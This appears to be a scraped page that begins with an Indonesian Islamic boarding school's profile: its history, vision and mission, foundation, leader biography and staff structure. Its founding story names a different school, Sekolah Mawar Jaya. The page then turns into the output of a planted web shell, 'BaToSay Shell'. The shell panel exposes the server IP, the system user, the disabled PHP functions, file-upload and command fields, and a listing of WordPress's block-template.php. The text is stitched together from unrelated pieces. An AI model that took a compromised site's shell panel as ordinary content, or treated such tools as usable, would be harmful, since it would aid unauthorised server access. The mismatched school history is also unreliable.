Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.148.117.64
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/block-template.php
<?php
/**
 * Block template loader functions.
 *
 * @package WordPress
 */

/**
 * Adds necessary hooks to resolve '_wp-find-template' requests.
 *
 * @access private
 * @since 5.9.0
 */
function _add_template_loader_filters() {
	if ( isset( $_GET['_wp-find-template'] ) && current_theme_supports( 'block-templates' ) ) {
		add_action( 'pre_get_posts', '_resolve_template_for_new_post' );
	}
}

/**
 * Finds a block template with equal or higher specificity than a given PHP template file.
 *
 * Internally, this communicates the block content that needs to be used by the template canvas through a global variable.
 *
 * @since 5.8.0
 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar.
 *
 * @global string $_wp_current_template_content
 * @global string $_wp_current_template_id
 *
 * @param string   $template  Path to the template. See locate_template().
 * @param string   $type      Sanitized filename without extension.
 * @param string[] $templates A list of template candidates, in descending order of priority.
 * @return string The path to the Site Editor template canvas file, or the fallback PHP template.
 */
function locate_block_template( $template, $type, array $templates ) {
	global $_wp_current_template_content, $_wp_current_template_id;

	if ( ! current_theme_supports( 'block-templates' ) ) {
		return $template;
	}

	if ( $template ) {
		/*
		 * locate_template() has found a PHP template at the path specified by $template.
		 * That means that we have a fallback candidate if we cannot find a block template
		 * with higher specificity.
		 *
		 * Thus, before looking for matching block themes, we shorten our list of candidate
		 * templates accordingly.
		 */

		// Locate the index of $template (without the theme directory path) in $templates.
		$relative_template_path = str_replace(
			array( get_stylesheet_directory() . '/', get_template_directory() . '/' ),
			'',
			$template
		);
		$index                  = array_search( $relative_template_path, $templates, true );

		// If the template hierarchy algorithm has successfully located a PHP template file,
		// we will only consider block templates with higher or equal specificity.
		$templates = array_slice( $templates, 0, $index + 1 );
	}

	$block_template = resolve_block_template( $type, $templates, $template );

	if ( $block_template ) {
		$_wp_current_template_id = $block_template->id;

		if ( empty( $block_template->content ) && is_user_logged_in() ) {
			$_wp_current_template_content =
			sprintf(
				/* translators: %s: Template title */
				__( 'Empty template: %s' ),
				$block_template->title
			);
		} elseif ( ! empty( $block_template->content ) ) {
			$_wp_current_template_content = $block_template->content;
		}
		if ( isset( $_GET['_wp-find-template'] ) ) {
			wp_send_json_success( $block_template );
		}
	} else {
		if ( $template ) {
			return $template;
		}

		if ( 'index' === $type ) {
			if ( isset( $_GET['_wp-find-template'] ) ) {
				wp_send_json_error( array( 'message' => __( 'No matching template found.' ) ) );
			}
		} else {
			return ''; // So that the template loader keeps looking for templates.
		}
	}

	// Add hooks for template canvas.
	// Add viewport meta tag.
	add_action( 'wp_head', '_block_template_viewport_meta_tag', 0 );

	// Render title tag with content, regardless of whether theme has title-tag support.
	remove_action( 'wp_head', '_wp_render_title_tag', 1 );    // Remove conditional title tag rendering...
	add_action( 'wp_head', '_block_template_render_title_tag', 1 ); // ...and make it unconditional.

	// This file will be included instead of the theme's template file.
	return ABSPATH . WPINC . '/template-canvas.php';
}

/**
 * Returns the correct 'wp_template' to render for the request template type.
 *
 * @access private
 * @since 5.8.0
 * @since 5.9.0 Added the `$fallback_template` parameter.
 *
 * @param string   $template_type      The current template type.
 * @param string[] $template_hierarchy The current template hierarchy, ordered by priority.
 * @param string   $fallback_template  A PHP fallback template to use if no matching block template is found.
 * @return WP_Block_Template|null template A template object, or null if none could be found.
 */
function resolve_block_template( $template_type, $template_hierarchy, $fallback_template ) {
	if ( ! $template_type ) {
		return null;
	}

	if ( empty( $template_hierarchy ) ) {
		$template_hierarchy = array( $template_type );
	}

	$slugs = array_map(
		'_strip_template_file_suffix',
		$template_hierarchy
	);

	// Find all potential templates 'wp_template' post matching the hierarchy.
	$query     = array(
		'slug__in' => $slugs,
	);
	$templates = get_block_templates( $query );

	// Order these templates per slug priority.
	// Build map of template slugs to their priority in the current hierarchy.
	$slug_priorities = array_flip( $slugs );

	usort(
		$templates,
		static function ( $template_a, $template_b ) use ( $slug_priorities ) {
			return $slug_priorities[ $template_a->slug ] - $slug_priorities[ $template_b->slug ];
		}
	);

	$theme_base_path        = get_stylesheet_directory() . DIRECTORY_SEPARATOR;
	$parent_theme_base_path = get_template_directory() . DIRECTORY_SEPARATOR;

	// Is the active theme a child theme, and is the PHP fallback template part of it?
	if (
		str_starts_with( $fallback_template, $theme_base_path ) &&
		! str_contains( $fallback_template, $parent_theme_base_path )
	) {
		$fallback_template_slug = substr(
			$fallback_template,
			// Starting position of slug.
			strpos( $fallback_template, $theme_base_path ) + strlen( $theme_base_path ),
			// Remove '.php' suffix.
			-4
		);

		// Is our candidate block template's slug identical to our PHP fallback template's?
		if (
			count( $templates ) &&
			$fallback_template_slug === $templates[0]->slug &&
			'theme' === $templates[0]->source
		) {
			// Unfortunately, we cannot trust $templates[0]->theme, since it will always
			// be set to the active theme's slug by _build_block_template_result_from_file(),
			// even if the block template is really coming from the active theme's parent.
			// (The reason for this is that we want it to be associated with the active theme
			// -- not its parent -- once we edit it and store it to the DB as a wp_template CPT.)
			// Instead, we use _get_block_template_file() to locate the block template file.
			$template_file = _get_block_template_file( 'wp_template', $fallback_template_slug );
			if ( $template_file && get_template() === $template_file['theme'] ) {
				// The block template is part of the parent theme, so we
				// have to give precedence to the child theme's PHP template.
				array_shift( $templates );
			}
		}
	}

	return count( $templates ) ? $templates[0] : null;
}

/**
 * Displays title tag with content, regardless of whether theme has title-tag support.
 *
 * @access private
 * @since 5.8.0
 *
 * @see _wp_render_title_tag()
 */
function _block_template_render_title_tag() {
	echo '<title>' . wp_get_document_title() . '</title>' . "\n";
}

/**
 * Returns the markup for the current template.
 *
 * @access private
 * @since 5.8.0
 *
 * @global string   $_wp_current_template_id
 * @global string   $_wp_current_template_content
 * @global WP_Embed $wp_embed                     WordPress Embed object.
 * @global WP_Query $wp_query                     WordPress Query object.
 *
 * @return string Block template markup.
 */
function get_the_block_template_html() {
	global $_wp_current_template_id, $_wp_current_template_content, $wp_embed, $wp_query;

	if ( ! $_wp_current_template_content ) {
		if ( is_user_logged_in() ) {
			return '<h1>' . esc_html__( 'No matching template found' ) . '</h1>';
		}
		return;
	}

	$content = $wp_embed->run_shortcode( $_wp_current_template_content );
	$content = $wp_embed->autoembed( $content );
	$content = shortcode_unautop( $content );
	$content = do_shortcode( $content );

	/*
	 * Most block themes omit the `core/query` and `core/post-template` blocks in their singular content templates.
	 * While this technically still works since singular content templates are always for only one post, it results in
	 * the main query loop never being entered which causes bugs in core and the plugin ecosystem.
	 *
	 * The workaround below ensures that the loop is started even for those singular templates. The while loop will by
	 * definition only go through a single iteration, i.e. `do_blocks()` is only called once. Additional safeguard
	 * checks are included to ensure the main query loop has not been tampered with and really only encompasses a
	 * single post.
	 *
	 * Even if the block template contained a `core/query` and `core/post-template` block referencing the main query
	 * loop, it would not cause errors since it would use a cloned instance and go through the same loop of a single
	 * post, within the actual main query loop.
	 *
	 * This special logic should be skipped if the current template does not come from the current theme, in which case
	 * it has been injected by a plugin by hijacking the block template loader mechanism. In that case, entirely custom
	 * logic may be applied which is unpredictable and therefore safer to omit this special handling on.
	 */
	if (
		$_wp_current_template_id &&
		str_starts_with( $_wp_current_template_id, get_stylesheet() . '//' ) &&
		is_singular() &&
		1 === $wp_query->post_count &&
		have_posts()
	) {
		while ( have_posts() ) {
			the_post();
			$content = do_blocks( $content );
		}
	} else {
		$content = do_blocks( $content );
	}

	$content = wptexturize( $content );
	$content = convert_smilies( $content );
	$content = wp_filter_content_tags( $content, 'template' );
	$content = str_replace( ']]>', ']]&gt;', $content );

	// Wrap block template in .wp-site-blocks to allow for specific descendant styles
	// (e.g. `.wp-site-blocks > *`).
	return '<div class="wp-site-blocks">' . $content . '</div>';
}

/**
 * Renders a 'viewport' meta tag.
 *
 * This is hooked into {@see 'wp_head'} to decouple its output from the default template canvas.
 *
 * @access private
 * @since 5.8.0
 */
function _block_template_viewport_meta_tag() {
	echo '<meta name="viewport" content="width=device-width, initial-scale=1" />' . "\n";
}

/**
 * Strips .php or .html suffix from template file names.
 *
 * @access private
 * @since 5.8.0
 *
 * @param string $template_file Template file name.
 * @return string Template file name without extension.
 */
function _strip_template_file_suffix( $template_file ) {
	return preg_replace( '/\.(php|html)$/', '', $template_file );
}

/**
 * Removes post details from block context when rendering a block template.
 *
 * @access private
 * @since 5.8.0
 *
 * @param array $context Default context.
 *
 * @return array Filtered context.
 */
function _block_template_render_without_post_block_context( $context ) {
	/*
	 * When loading a template directly and not through a page that resolves it,
	 * the top-level post ID and type context get set to that of the template.
	 * Templates are just the structure of a site, and they should not be available
	 * as post context because blocks like Post Content would recurse infinitely.
	 */
	if ( isset( $context['postType'] ) && 'wp_template' === $context['postType'] ) {
		unset( $context['postId'] );
		unset( $context['postType'] );
	}

	return $context;
}

/**
 * Sets the current WP_Query to return auto-draft posts.
 *
 * The auto-draft status indicates a new post, so allow the the WP_Query instance to
 * return an auto-draft post for template resolution when editing a new post.
 *
 * @access private
 * @since 5.9.0
 *
 * @param WP_Query $wp_query Current WP_Query instance, passed by reference.
 */
function _resolve_template_for_new_post( $wp_query ) {
	if ( ! $wp_query->is_main_query() ) {
		return;
	}

	remove_filter( 'pre_get_posts', '_resolve_template_for_new_post' );

	// Pages.
	$page_id = isset( $wp_query->query['page_id'] ) ? $wp_query->query['page_id'] : null;

	// Posts, including custom post types.
	$p = isset( $wp_query->query['p'] ) ? $wp_query->query['p'] : null;

	$post_id = $page_id ? $page_id : $p;
	$post    = get_post( $post_id );

	if (
		$post &&
		'auto-draft' === $post->post_status &&
		current_user_can( 'edit_post', $post->ID )
	) {
		$wp_query->set( 'post_status', 'auto-draft' );
	}
}

Batosay - 2023
IDNSEO Team